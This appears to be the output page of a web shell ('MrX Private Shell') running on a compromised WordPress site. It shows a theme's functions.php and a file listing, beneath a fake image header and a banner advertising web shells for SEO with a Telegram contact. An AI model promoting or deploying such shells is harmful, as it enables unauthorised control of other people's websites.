����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* $Desc
*
* @author Gaviasthemes Team
* @copyright Copyright (C) 2020 gaviasthemes. All Rights Reserved.
* @license GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html
*
*/
define( 'INDUTRI_THEME_DIR', get_template_directory() );
define( 'INDUTRI_THEME_URL', get_template_directory_uri() );
/*
* Include list of files from Gavias Framework.
*/
require_once(INDUTRI_THEME_DIR . '/includes/theme-functions.php');
require_once(INDUTRI_THEME_DIR . '/includes/template.php');
require_once(INDUTRI_THEME_DIR . '/includes/theme-hook.php');
require_once(INDUTRI_THEME_DIR . '/includes/theme-layout.php');
require_once(INDUTRI_THEME_DIR . '/includes/metaboxes.php');
require_once(INDUTRI_THEME_DIR . '/includes/custom-styles.php');
require_once(INDUTRI_THEME_DIR . '/includes/menu/megamenu.php');
require_once(INDUTRI_THEME_DIR . '/includes/sample/init.php');
require_once(INDUTRI_THEME_DIR . '/includes/elementor/hooks.php');
//Load Woocommerce
if( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ){
add_theme_support( "woocommerce" );
require_once(INDUTRI_THEME_DIR . '/includes/woocommerce/functions.php');
require_once(INDUTRI_THEME_DIR . '/includes/woocommerce/hooks.php');
}
// Load Redux - Theme options framework
if( class_exists( 'Redux' ) ){
require( INDUTRI_THEME_DIR . '/includes/options/init.php' );
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-general.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-header.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-breadcrumb.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-footer.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-styling.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-typography.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-blog.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-page.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-woo.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-portfolio.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-event.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-service.php');
require_once(INDUTRI_THEME_DIR . '/includes/options/opts-socials.php');
}
// TGM plugin activation
if ( is_admin() ) {
require_once( INDUTRI_THEME_DIR . '/includes/tgmpa/class-tgm-plugin-activation.php' );
require( INDUTRI_THEME_DIR . '/includes/tgmpa/config.php' );
}
load_theme_textdomain( 'indutri', get_template_directory() . '/languages' );
//-------- Register sidebar default in theme -----------
//------------------------------------------------------
function indutri_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Default Sidebar', 'indutri' ),
'id' => 'default_sidebar',
'description' => esc_html__( 'Appears in the Default Sidebar section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'WooCommerce Sidebar', 'indutri' ),
'id' => 'woocommerce_sidebar',
'description' => esc_html__( 'Appears in the Plugin WooCommerce section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'WooCommerce Single', 'indutri' ),
'id' => 'woocommerce_single_summary',
'description' => esc_html__( 'Appears in the WooCommerce Single Page like social, description text ...', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'Portfolio Sidebar', 'indutri' ),
'id' => 'portfolio_sidebar',
'description' => esc_html__( 'Appears in the Portfolio Page section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'After Offcanvas Mobile', 'indutri' ),
'id' => 'offcanvas_sidebar_mobile',
'description' => esc_html__( 'Appears in the Offcanvas section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'Service Sidebar', 'indutri' ),
'id' => 'service_sidebar',
'description' => esc_html__( 'Appears in the Sidebar section of the Service Page.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'Blog Sidebar', 'indutri' ),
'id' => 'blog_sidebar',
'description' => esc_html__( 'Appears in the Blog sidebar section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'Page Sidebar', 'indutri' ),
'id' => 'other_sidebar',
'description' => esc_html__( 'Appears in the Page Sidebar section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'Footer first', 'indutri' ),
'id' => 'footer-sidebar-1',
'description' => esc_html__( 'Appears in the Footer first section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'Footer second', 'indutri' ),
'id' => 'footer-sidebar-2',
'description' => esc_html__( 'Appears in the Footer second section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'Footer third', 'indutri' ),
'id' => 'footer-sidebar-3',
'description' => esc_html__( 'Appears in the Footer third section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
register_sidebar( array(
'name' => esc_html__( 'Footer four', 'indutri' ),
'id' => 'footer-sidebar-4',
'description' => esc_html__( 'Appears in the Footer four section of the site.', 'indutri' ),
'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title"><span>',
'after_title' => '</span></h3>',
) );
}
add_action( 'widgets_init', 'indutri_widgets_init' );
if ( ! function_exists( 'indutri_fonts_url' ) ) :
/**
*
* @return string Google fonts URL for the theme.
*/
function indutri_fonts_url() {
$fonts_url = '';
$fonts = array();
$subsets = '';
$protocol = is_ssl() ? 'https' : 'http';
/*
* Translators: If there are characters in your language that are not supported
* by Noto Sans, translate this to 'off'. Do not translate into your own language.
*/
if ( 'off' !== _x( 'on', 'Hind font: on or off', 'indutri' ) ) {
$fonts[] = 'Hind:wght@400;500;600;700&display=swap';
}
/*
* Translators: To add an additional character subset specific to your language,
* translate this to 'greek', 'cyrillic', 'devanagari' or 'vietnamese'. Do not translate into your own language.
*/
$subset = _x( 'no-subset', 'Add new subset (greek, cyrillic, devanagari, vietnamese)', 'indutri' );
if ( 'cyrillic' == $subset ) {
$subsets .= ',cyrillic,cyrillic-ext';
} elseif ( 'greek' == $subset ) {
$subsets .= ',greek,greek-ext';
} elseif ( 'devanagari' == $subset ) {
$subsets .= ',devanagari';
} elseif ( 'vietnamese' == $subset ) {
$subsets .= ',vietnamese';
}
if ( $fonts ) {
$fonts_url = add_query_arg( array(
'family' => ( implode( '%7C', $fonts ) ),
'subset' => ( $subsets ),
), $protocol.'://fonts.googleapis.com/css2' );
}
return $fonts_url;
}
endif;
function indutri_custom_styles() {
$custom_css = get_option( 'indutri_theme_custom_styles' );
if($custom_css){
wp_enqueue_style(
'indutri-custom-style',
get_template_directory_uri() . '/css/custom_script.css'
);
wp_add_inline_style( 'indutri-custom-style', $custom_css );
}
}
add_action( 'wp_enqueue_scripts', 'indutri_custom_styles', 9999 );
function indutri_init_scripts(){
global $post;
$protocol = is_ssl() ? 'https' : 'http';
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ){
wp_enqueue_script( 'comment-reply' );
}
wp_enqueue_style( 'indutri-fonts', indutri_fonts_url(), array(), null );
wp_enqueue_script('bootstrap', get_template_directory_uri().'/js/bootstrap.js', array('jquery') );
wp_enqueue_script('scrollbar', get_template_directory_uri() . '/js/perfect-scrollbar.jquery.min.js');
wp_enqueue_script('magnific', get_template_directory_uri() .'/js/magnific/jquery.magnific-popup.min.js');
wp_enqueue_script('cookie', get_template_directory_uri() . '/js/jquery.cookie.js', array('jquery'));
wp_enqueue_script('lightgallery', get_template_directory_uri() . '/js/lightgallery/js/lightgallery.min.js' );
wp_enqueue_script('sticky', get_template_directory_uri() . '/js/sticky.js', array('elementor-waypoints'));
wp_enqueue_script('owl-carousel', get_template_directory_uri() . '/js/owl-carousel/owl.carousel.min.js');
wp_enqueue_script('jquery.appear', get_template_directory_uri() . '/js/jquery.appear.js');
wp_enqueue_script('indutri-main', get_template_directory_uri() . '/js/main.js', array('imagesloaded', 'jquery-masonry'));
wp_enqueue_script('indutri-woocommerce', get_template_directory_uri() . '/js/woocommerce.js');
if(indutri_woocommerce_activated() ){
wp_dequeue_script('wc-add-to-cart');
wp_register_script( 'wc-add-to-cart', INDUTRI_THEME_URL . '/js/add-to-cart.js' , array( 'jquery' ) );
wp_enqueue_script('wc-add-to-cart');
}
wp_enqueue_style('lightgallery', get_template_directory_uri() . '/js/lightgallery/css/lightgallery.min.css');
wp_enqueue_style('lightgallery', get_template_directory_uri() . '/js/lightgallery/css/lg-transitions.min.css');
wp_enqueue_style('owl-carousel', get_template_directory_uri() .'/js/owl-carousel/assets/owl.carousel.css');
wp_enqueue_style('magnific', get_template_directory_uri() .'/js/magnific/magnific-popup.css');
wp_enqueue_style('fontawesome', get_template_directory_uri() . '/css/fontawesome/css/all.css');
wp_enqueue_style('indutri-style', get_template_directory_uri() . '/style.css');
$skin = indutri_get_option('skin_color', '');
if(isset($_GET['gskin']) && $_GET['gskin']){
$skin = $_GET['gskin'];
}
if(!empty($skin)){
$skin = 'skins/' . $skin . '/';
}
wp_enqueue_style('bootstrap', get_template_directory_uri(). '/css/' . $skin . 'bootstrap.css', array(), '1.0.0' , 'all');
wp_enqueue_style('indutri-woocoomerce', get_template_directory_uri(). '/css/' . $skin . 'woocommerce.css', array(), '1.0.0' , 'all');
wp_enqueue_style('indutri-template', get_template_directory_uri().'/css/' . $skin . 'template.css', array(), '1.0.0' , 'all');
}
add_action('wp_enqueue_scripts', 'indutri_init_scripts', 999);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| css | Folder | 0755 |
|
|
| fonts | Folder | 0755 |
|
|
| images | Folder | 0755 |
|
|
| includes | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| languages | Folder | 0755 |
|
|
| sass | Folder | 0755 |
|
|
| templates | Folder | 0755 |
|
|
| tribe | Folder | 0755 |
|
|
| tribe-events | Folder | 0755 |
|
|
| woocommerce | Folder | 0755 |
|
|
| 404.php | File | 985 B | 0644 |
|
| archive.php | File | 2.27 KB | 0644 |
|
| comments.php | File | 4.04 KB | 0644 |
|
| content-audio.php | File | 2.55 KB | 0644 |
|
| content-gallery.php | File | 2.89 KB | 0644 |
|
| content-link.php | File | 2.36 KB | 0644 |
|
| content-quote.php | File | 2.39 KB | 0644 |
|
| content-video.php | File | 2.68 KB | 0644 |
|
| content.php | File | 2.44 KB | 0644 |
|
| footer.php | File | 1.7 KB | 0644 |
|
| functions.php | File | 39.27 KB | 0644 |
|
| functions.php_bak | File | 12.7 KB | 0644 |
|
| functions.txt | File | 12.7 KB | 0644 |
|
| header-builder.php | File | 1.78 KB | 0644 |
|
| header-default.php | File | 3.54 KB | 0644 |
|
| header.php | File | 500 B | 0644 |
|
| index.php | File | 2.54 KB | 0644 |
|
| page.php | File | 588 B | 0644 |
|
| readme.txt | File | 0 B | 0644 |
|
| screenshot.png | File | 210.79 KB | 0644 |
|
| search.php | File | 4.02 KB | 0644 |
|
| searchform.php | File | 674 B | 0644 |
|
| sidebar.php | File | 280 B | 0644 |
|
| single-event.php | File | 353 B | 0644 |
|
| single-footer.php | File | 974 B | 0644 |
|
| single-gallery.php | File | 1.09 KB | 0644 |
|
| single-gva_header.php | File | 922 B | 0644 |
|
| single-gva_team.php | File | 6.39 KB | 0644 |
|
| single-portfolio.php | File | 5.61 KB | 0644 |
|
| single-service.php | File | 3.14 KB | 0644 |
|
| single.php | File | 3.21 KB | 0644 |
|
| style.css | File | 935 B | 0644 |
|
| taxonomy-category_portfolio.php | File | 3.06 KB | 0644 |
|
| taxonomy-category_service.php | File | 3.04 KB | 0644 |
|
| wpml-config.xml | File | 11.38 KB | 0644 |
|